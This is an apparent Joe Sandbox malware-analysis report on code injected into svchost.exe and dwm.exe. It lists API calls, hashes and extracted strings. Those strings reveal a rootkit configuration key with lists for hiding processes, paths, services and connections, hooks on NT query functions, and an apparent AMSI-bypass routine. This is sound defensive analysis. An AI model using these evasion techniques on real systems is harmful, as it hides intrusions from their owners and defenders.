Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 7368844f5f46a0da056b2b14b5b0993db77552c27402f613873d14bbf342e81d
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 08117936A04B8092EBA49F15F51824AB7E1F798B84F188634EF8D07B66DF7CC551CB00

Function 0000022F4B921D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B921D69
HeapAlloc.KERNEL32 ref: 0000022F4B921D77
GetProcessHeap.KERNEL32 ref: 0000022F4B921D9C
HeapFree.KERNEL32 ref: 0000022F4B921DAA

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: d2d243e1f4da33dff666983cb4b4fc9292e00df8db3f46f6f3574d3ee2618496
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 7B115A29A01B9091EA94EFA6E52815A67B0E78CFC0F589034DF4A57726DEB8D452C300

Function 0000022F4B921264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B92126A
HeapAlloc.KERNEL32 ref: 0000022F4B921279
GetProcessHeap.KERNEL32 ref: 0000022F4B921293
HeapAlloc.KERNEL32 ref: 0000022F4B9212A4

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: b3e4a5b6f9333f152bb267859d7de1761df9f28d76ce986ecf85fb72ba9be1be
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: A4E03935A01604AAE794AFA2D82834A36E1EB8CB05F44D034CA0907351EFBDC899C740

Function 0000022F4B921000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022F4B921006
HeapAlloc.KERNEL32 ref: 0000022F4B921015
GetProcessHeap.KERNEL32 ref: 0000022F4B921028
HeapAlloc.KERNEL32 ref: 0000022F4B921037

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: e58150afabff5c1ea00ebf14978d6c6d839fdce1e2f42293329f13860d5d1706
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 4DE0ED75A11604AAE798AFA2D92825A76B1FB8CB15F44D034CA0907311EEB88899D710

Analysis Process: dwm.exePID: 976, Parent PID: 7680COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	111
Total number of Limit Nodes:	17

Executed Functions

Function 00000262F1CA2C80 Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 00000262F1CA2CAD
TlsGetValue.KERNEL32 ref: 00000262F1CA2CBC
TlsGetValue.KERNEL32 ref: 00000262F1CA2CCB
NtEnumerateValueKey.NTDLL ref: 00000262F1CA2D40
NtEnumerateValueKey.NTDLL ref: 00000262F1CA2D76
NtEnumerateValueKey.NTDLL ref: 00000262F1CA2DB3
TlsSetValue.KERNEL32 ref: 00000262F1CA2E0F
TlsSetValue.KERNEL32 ref: 00000262F1CA2E1E
TlsSetValue.KERNEL32 ref: 00000262F1CA2E2D

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Value$Enumerate
String ID:
API String ID: 3520290360-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: c1cbe84f50f0c7ef176c396f0ab59772db48b628da06dd7362134303996ff1bc
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 6151B131604A70C7E366CB16A45C65AB3B4F788B84F90403DEE4A43FD5DB3AC849DB42

Function 00000262F1CA1724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1CA172F
HeapAlloc.KERNEL32 ref: 00000262F1CA173E

Part of subcall function 00000262F1CA1264: GetProcessHeap.KERNEL32 ref: 00000262F1CA126A
Part of subcall function 00000262F1CA1264: HeapAlloc.KERNEL32 ref: 00000262F1CA1279
Part of subcall function 00000262F1CA1264: GetProcessHeap.KERNEL32 ref: 00000262F1CA1293
Part of subcall function 00000262F1CA1264: HeapAlloc.KERNEL32 ref: 00000262F1CA12A4

Part of subcall function 00000262F1CA1000: GetProcessHeap.KERNEL32 ref: 00000262F1CA1006
Part of subcall function 00000262F1CA1000: HeapAlloc.KERNEL32 ref: 00000262F1CA1015
Part of subcall function 00000262F1CA1000: GetProcessHeap.KERNEL32 ref: 00000262F1CA1028
Part of subcall function 00000262F1CA1000: HeapAlloc.KERNEL32 ref: 00000262F1CA1037

RegOpenKeyExW.KERNELBASE ref: 00000262F1CA17AE
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA17DB
RegCloseKey.ADVAPI32 ref: 00000262F1CA17F5
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1815
RegCloseKey.KERNELBASE ref: 00000262F1CA1830
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1850
RegCloseKey.ADVAPI32 ref: 00000262F1CA186B
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA188B
RegCloseKey.ADVAPI32 ref: 00000262F1CA18A6
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA18C6
RegCloseKey.ADVAPI32 ref: 00000262F1CA18E1
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1901
RegCloseKey.ADVAPI32 ref: 00000262F1CA191C
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA193C
RegCloseKey.ADVAPI32 ref: 00000262F1CA1957
RegOpenKeyExW.KERNELBASE ref: 00000262F1CA1977
RegCloseKey.ADVAPI32 ref: 00000262F1CA1992
RegCloseKey.KERNELBASE ref: 00000262F1CA199C

Part of subcall function 00000262F1CA12B8: RegQueryInfoKeyW.ADVAPI32 ref: 00000262F1CA1315
Part of subcall function 00000262F1CA12B8: GetProcessHeap.KERNEL32 ref: 00000262F1CA1323
Part of subcall function 00000262F1CA12B8: HeapAlloc.KERNEL32 ref: 00000262F1CA1334
Part of subcall function 00000262F1CA12B8: RegEnumValueW.ADVAPI32 ref: 00000262F1CA1393
Part of subcall function 00000262F1CA12B8: GetProcessHeap.KERNEL32 ref: 00000262F1CA13DB
Part of subcall function 00000262F1CA12B8: HeapAlloc.KERNEL32 ref: 00000262F1CA13E9
Part of subcall function 00000262F1CA12B8: GetProcessHeap.KERNEL32 ref: 00000262F1CA1406
Part of subcall function 00000262F1CA12B8: HeapFree.KERNEL32 ref: 00000262F1CA1414
Part of subcall function 00000262F1CA12B8: lstrlenW.KERNEL32 ref: 00000262F1CA141D
Part of subcall function 00000262F1CA12B8: GetProcessHeap.KERNEL32 ref: 00000262F1CA142B
Part of subcall function 00000262F1CA12B8: HeapAlloc.KERNEL32 ref: 00000262F1CA1439

Strings

pid, xrefs: 00000262F1CA180E
process_names, xrefs: 00000262F1CA1849
udp, xrefs: 00000262F1CA1970
tcp_local, xrefs: 00000262F1CA18FA
startup, xrefs: 00000262F1CA17D1
paths, xrefs: 00000262F1CA1884
service_names, xrefs: 00000262F1CA18BF
SOFTWARE\$nya-config, xrefs: 00000262F1CA178E
tcp_remote, xrefs: 00000262F1CA1935

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 570cfa32801e682319d85f7c353ef15fa71c6047c202d0b4bc116362672f62d2
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: 2E71D736310E65C5EB11DF66E8AC69D23B8FB84F88F841121DA4D97FA9DE3AC448C741

Function 00000262F1CA1E74 Relevance: 43.8, APIs: 8, Strings: 17, Instructions: 95
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000262F1CA1E7F

Part of subcall function 00000262F1CA22A8: GetModuleHandleA.KERNEL32(?,?,?,00000262F1CA1EB1), ref: 00000262F1CA22C0
Part of subcall function 00000262F1CA22A8: GetProcAddress.KERNEL32(?,?,?,00000262F1CA1EB1), ref: 00000262F1CA22D1

CreateThread.KERNELBASE ref: 00000262F1CA2043
TlsAlloc.KERNEL32 ref: 00000262F1CA2049
TlsAlloc.KERNEL32 ref: 00000262F1CA2055
TlsAlloc.KERNEL32 ref: 00000262F1CA2061
TlsAlloc.KERNEL32 ref: 00000262F1CA206D
TlsAlloc.KERNEL32 ref: 00000262F1CA2079
TlsAlloc.KERNEL32 ref: 00000262F1CA2085

Strings

NtEnumerateKey, xrefs: 00000262F1CA1F19
NtQuerySystemInformation, xrefs: 00000262F1CA1EA5
NtQueryDirectoryFile, xrefs: 00000262F1CA1EDF
amsi.dll, xrefs: 00000262F1CA2019
PdhGetRawCounterArrayW, xrefs: 00000262F1CA1FD0
ntdll.dll, xrefs: 00000262F1CA1E8D
AmsiScanBuffer, xrefs: 00000262F1CA2012
EnumServiceGroupW, xrefs: 00000262F1CA1F50
NtDeviceIoControlFile, xrefs: 00000262F1CA1FB6
NtEnumerateValueKey, xrefs: 00000262F1CA1F36
pdh.dll, xrefs: 00000262F1CA1FD7, 00000262F1CA1FF8
PdhGetFormattedCounterArrayW, xrefs: 00000262F1CA1FF1
sechost.dll, xrefs: 00000262F1CA1F99
NtQueryDirectoryFileEx, xrefs: 00000262F1CA1EFC
advapi32.dll, xrefs: 00000262F1CA1F57, 00000262F1CA1F78
NtResumeThread, xrefs: 00000262F1CA1EC2
EnumServicesStatusExW, xrefs: 00000262F1CA1F71, 00000262F1CA1F92

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 82652c38a6cce80ac4cdfdd83d052b883e98c682ace51435845db53c249d7eb1
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 24519C74510EBAE5EB02EBA5EC6C7D42330A750B54FC00537A50982DF1DE3A865ED387

Function 00000262F1CAEF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,00000262F1CAF34A,?,?,00000000,00000262F1CAF2CD), ref: 00000262F1CAEFF5
GetLastError.KERNEL32(?,?,00000000,00000262F1CAF2CD), ref: 00000262F1CAF007
LoadLibraryExW.KERNEL32(?,?,00000000,00000262F1CAF2CD), ref: 00000262F1CAF049
VirtualProtect.KERNELBASE ref: 00000262F1CAF0A5
VirtualProtect.KERNEL32 ref: 00000262F1CAF0D6
FreeLibrary.KERNEL32(?,?,00000000,00000262F1CAF2CD), ref: 00000262F1CAF11A
GetProcAddress.KERNEL32(?,?,00000000,00000262F1CAF2CD), ref: 00000262F1CAF126

Strings

api-ms-, xrefs: 00000262F1CAF01B
AppPolicyGetProcessTerminationMethod, xrefs: 00000262F1CAF157, 00000262F1CAF165
ext-ms-, xrefs: 00000262F1CAF02E

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: f307d45a4664954ca76000c023e3a31593f4e0755c58e8d88206b99741ba89b3
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: F251B131701F64D1EA1A9B56A82C3A923B0BB49BB0FD807359E3D47BD0DF3AD44D8642

Function 00000262F1CA6270 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000262F1CA62AB
GetThreadContext.KERNEL32 ref: 00000262F1CA6415

Part of subcall function 00000262F1CA60A0: GetCurrentThreadId.KERNEL32 ref: 00000262F1CA60A4

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 06345c450f8296db91144f59c54cbd40b4799d269efc1b0e1a6bce112c420a70
Instruction ID: 72317c16645d2a145ddf8ca7d2e858d4e9a0203a4bfdfee25e87c19917159557
Opcode Fuzzy Hash: 06345c450f8296db91144f59c54cbd40b4799d269efc1b0e1a6bce112c420a70
Instruction Fuzzy Hash: CAD19B76205FA8C1DA71DB0AE4A835A77B0F388B88F510126EACD47BE5DF3AC555CB01

Function 00000262F1CA1E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000262F1CA1E47
GetProcAddress.KERNEL32 ref: 00000262F1CA1E57
SleepEx.KERNELBASE ref: 00000262F1CA1E67

Strings

AmsiScanBuffer, xrefs: 00000262F1CA1E50
amsi.dll, xrefs: 00000262F1CA1E40

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 8e138c75d4aa9a4c5c1ef0e8ef521533a63d454bb31425036f3c8e1b6179071c
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 85D09E34615E20D5FA49EB11EC6C3543275BF64F01FC40435C61E86AE1DE3E895DD742

Function 00000262F1CA5810 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000262F1CA5896

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e54ed8d5981410d2d10d562d395602567931b9c6313d0845cabb15234d5347af
Instruction ID: 397a363a443f3402c4888eab2f06aea4069841a835f7bbaa22b888eec30f6866
Opcode Fuzzy Hash: e54ed8d5981410d2d10d562d395602567931b9c6313d0845cabb15234d5347af
Instruction Fuzzy Hash: C602D432218B94C6E761CB55F4A835AB7B0F385794F504025EA8E87FE8DB7AC498CF01

Function 00000262F1CA3EC8 Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F0E
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F47
VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000262F1CA3A5B), ref: 00000262F1CA3F68

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 2ce9b71b938df398e874f6265952a8152d80c89baf23e1fb9120a7030c9e5a9b
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: DE113A36618B50C3EB658B61E41C20AA7B4FB44B80F440036EE8D43BD4EB6EC9488781

Function 00000262F1EB2EBC Relevance: 6.2, APIs: 4, Instructions: 240memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000262F1EB2F7B
VirtualProtect.KERNELBASE ref: 00000262F1EB2FA5
LoadLibraryA.KERNELBASE ref: 00000262F1EB302E
VirtualProtect.KERNELBASE ref: 00000262F1EB31C2

Memory Dump Source

Source File: 00000012.00000003.1494451949.00000262F1EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000262F1EB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1eb0000_dwm.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 0b7023ae825e45743f6de2ae387a76cfbe5d62cb06ddffe46759c17fab0ee46a
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 9A91F776B019A0C7DB64CF29D40D76D73F5FB64B94F9481249E4907F88DA36E85AC700

Function 00000262F1CD2EBC Relevance: 4.7, APIs: 3, Instructions: 240memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000262F1CD2F7B
VirtualProtect.KERNELBASE ref: 00000262F1CD2FA5
VirtualProtect.KERNELBASE ref: 00000262F1CD31C2

Memory Dump Source

Source File: 00000012.00000003.1646374576.00000262F1CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000262F1CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1cd0000_dwm.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: 59ea7243bf80c569789660e50a8d2276252486441d4de17b73a98efa3b3f7c3a
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 4A9115B2B01961C7DB548F29D40C76DB3B1F744B94F989134DE6A07BC8DA3AE816C701

Function 00000262F1CA4120 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00000262F1CA41A6
VirtualAlloc.KERNEL32 ref: 00000262F1CA41E0

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
